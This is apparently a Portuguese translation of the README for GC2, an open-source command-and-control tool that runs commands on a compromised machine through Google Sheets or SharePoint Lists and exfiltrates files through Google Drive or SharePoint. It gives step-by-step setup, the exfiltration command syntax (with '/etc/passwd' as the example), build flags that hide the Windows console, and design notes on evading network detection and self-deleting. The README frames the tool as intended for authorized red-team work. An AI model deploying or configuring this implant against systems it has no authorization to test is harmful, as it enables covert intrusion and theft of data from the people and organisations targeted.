
GC2 é uma aplicação de Comando e Controle que permite a um atacante executar comandos na máquina alvo usando o Google Sheet ou a Lista do Microsoft SharePoint e exfiltrar arquivos usando o Google Drive ou o Documento do Microsoft SharePoint.
GC2 (Google Command and Control) é uma aplicação de Comando e Controle que permite a um atacante executar comandos na máquina alvo usando o Google Sheet ou a Lista do Microsoft SharePoint e exfiltrar arquivos usando o Google Drive ou o Documento do Microsoft SharePoint.
Este projeto foi desenvolvido para fornecer um comando e controle que não requer nenhuma configuração específica (como: domínio personalizado, VPS, CDN, ...) durante atividades de Red Teaming.
Além disso, o programa interagirá apenas com domínios do Google e da Microsoft (como *.google.com) para dificultar a deteção na rede.
Uma planilha do Google será criada automaticamente pelo C2. Uma vez criada, você pode interagir com o sistema comprometido conforme mostrado abaixo.
Uma Lista do Microsoft SharePoint será criada automaticamente pelo C2. Uma vez criada, você pode interagir com o sistema comprometido conforme mostrado abaixo.
Um comando especial é reservado para exfiltrar arquivos do sistema alvo.
From Target to Google Drive/Microsoft SharePoint Document
upload;<local path>
Example:
upload;/etc/passwd
Nota: arquivos com o mesmo nome são automaticamente sobrescritos.
Um comando especial é reservado para baixar arquivos para o sistema alvo.
From Google Drive to Target
download;<google drive file id>;<local path>
Example:
download;<file ID>;/home/user/downloaded.txt
Nota: Os arquivos precisam ser salvos na pasta raiz do SharePoint, geralmente "Documents"
From SharePoint to Target
download;<SharePoint file path>;<local path>
Example:
download;download.txt;/home/user/downloaded.txt
Ao enviar o comando exit, o C2 se autodestruirá e se excluirá do sistema alvo.
PS: Da documentação do os: If a symlink was used to start the process, depending on the operating system, the result might be the symlink or the path it pointed to. Neste caso, o symlink é excluído.
Este C2 suporta os serviços do Google (Google Sheet + Google Drive) e da Microsoft (Listas do SharePoint + Documentos do SharePoint). Para usar o C2, você precisa configurar tanto a nuvem quanto a máquina local.
Crie uma nova "conta de serviço" do Google
Crie uma nova "conta de serviço" do Google usando https://console.cloud.google.com/, crie um arquivo de chave .json para a conta de serviço.
Ative a API do Google Sheet e a API do Google Drive
Ative a API do Google Drive https://developers.google.com/drive/api/v3/enable-drive-api e a API do Google Sheet https://developers.google.com/sheets/api/quickstart/go.
Configure o Google Sheet e o Google Drive
Crie um novo Google Sheet e compartilhe-o (como Editor) com a Conta de Serviço (usando seu e-mail).
Crie uma nova pasta no Google Drive e compartilhe-a (como Editor) com a Conta de Serviço (usando seu e-mail).
Para interagir com os serviços da Microsoft, você precisará primeiro de uma assinatura Business (você pode obter uma gratuitamente pelos primeiros 30 dias).
Crie um Aplicativo Azure
Crie um novo Aplicativo Azure conforme descrito aqui https://learn.microsoft.com/en-us/graph/auth-v2-service?tabs=http
Após criar o novo aplicativo, ative as seguintes APIs do Graph:
Baixe o C2
O C2 pode ser clonado diretamente do GitHub:
git clone https://github.com/looCiprian/GC2-sheet
cd GC2-sheet
Configure o C2
Para configurar o C2, você precisa modificar o arquivo cmd/options.yml. O C2 suporta ambos os serviços do Google e da Microsoft, sendo também possível misturá-los.
Apenas serviços do Google
CommandService: "Google" # Google Sheet will be used as command service to pull commands and push commands' output
FileSystemService: "Google" # Google Drive will be used as file system to download and exfiltrate files
GoogleServiceAccountKey : "1234567890" # your escaped json file
GoogleSheetID: "0987654321" # your Google Sheet ID (can be found in the URL)
GoogleDriveID: "1234554321" # your Google Drive folder ID (can be found in the URL)
#RowId: 1 # optional, specify from which (Google Sheet or SharePoint List) row the beacon should pull new commands
#Proxy: "http://127.0.0.1:8080" # optional, specify the proxy
Verbose: true # optional, suggested for debugging purposes
Sua chave de conta de serviço do Google deve ser escapada antes de colá-la no arquivo de configuração. Você pode usar o seguinte comando para escapá-la:
cat key.json | jq -r @json | sed 's/\\n/\\\\n/g' | sed 's/\"/\\"/g'
Apenas serviços da Microsoft
CommandService: "Microsoft" # Microsoft SharePoint List will be used as command service to pull commands and push commands' output
FileSystemService: "Microsoft" # Microsoft SharePoint Document will be used as file system to download and exfiltrate files
MicrosoftTenantID: "567890098765" # your Azure Tenant ID where the Azure Application was created
MicrosoftClientID: "098765567890" # your Azure Application ID
MicrosoftClientSecret: "1234509876" # your Azure Application Secret value
MicrosoftSiteID: "0987612345" # # your SharePoint ID
#RowId: 1 # optional, specify from which (Google Sheet or SharePoint List) row the beacon should pull new commands
#Proxy: "http://127.0.0.1:8080" # optional, specify the proxy
Verbose: true # optional, suggested for debugging purposes
A maioria dos erros pode ser detectada definindo a flag verbose como true. Por padrão, o C2 não gera nenhuma saída ou informação de erro.
Demonstração por Grant Collins
O proprietário deste projeto não é responsável por qualquer uso ilegal deste programa.
Este é um projeto de código aberto destinado a ser usado com autorização para avaliar a postura de segurança e para fins de pesquisa.
O usuário final é o único responsável por suas ações e decisões. O uso deste projeto é por sua conta e risco. O proprietário deste projeto não aceita qualquer responsabilidade por perda ou dano causado pelo uso deste projeto.
Notícias mencionando malware usando o mesmo conceito:
Misturando serviços do Google e da Microsoft
CommandService: "Google" # Google Sheet will be used as command service to pull commands and push commands' output
FileSystemService: "Microsoft" # Microsoft SharePoint Document will be used as file system to download and exfiltrate files
GoogleServiceAccountKey : "1234567890" # your escaped json file
GoogleSheetID: "0987654321" # your Google Sheet ID (can be found in the URL)
GoogleDriveID: "1234554321" # your Google Drive folder ID (can be found in the URL)
MicrosoftTenantID: "567890098765" # your Azure Tenant ID where the Azure Application was created
MicrosoftClientID: "098765567890" # your Azure Application ID
MicrosoftClientSecret: "1234509876" # your Azure Application Secret value
MicrosoftSiteID: "0987612345" # # your SharePoint ID
#RowId: 1 # optional, specify from which (Google Sheet or SharePoint List) row the beacon should pull new commands
#Proxy: "http://127.0.0.1:8080" # optional, specify the proxy
Verbose: true # optional, suggested for debugging purposes
Compilar o executável
Alguns exemplos de como compilar o C2 de forma cruzada para diferentes sistemas operacionais e arquiteturas.
env GOOS=windows GOARCH=amd64 go build -ldflags "-s -w -H windowsgui"
env GOOS=linux GOARCH=amd64 go build -ldflags "-s –w"
env GOOS=darwin GOARCH=amd64 go build -ldflags "-s –w"
Executar
Após compilar, execute-o.
./gc2-sheet
O beacon criará automaticamente um novo Google Sheet ou Lista do Microsoft SharePoint de acordo com sua configuração.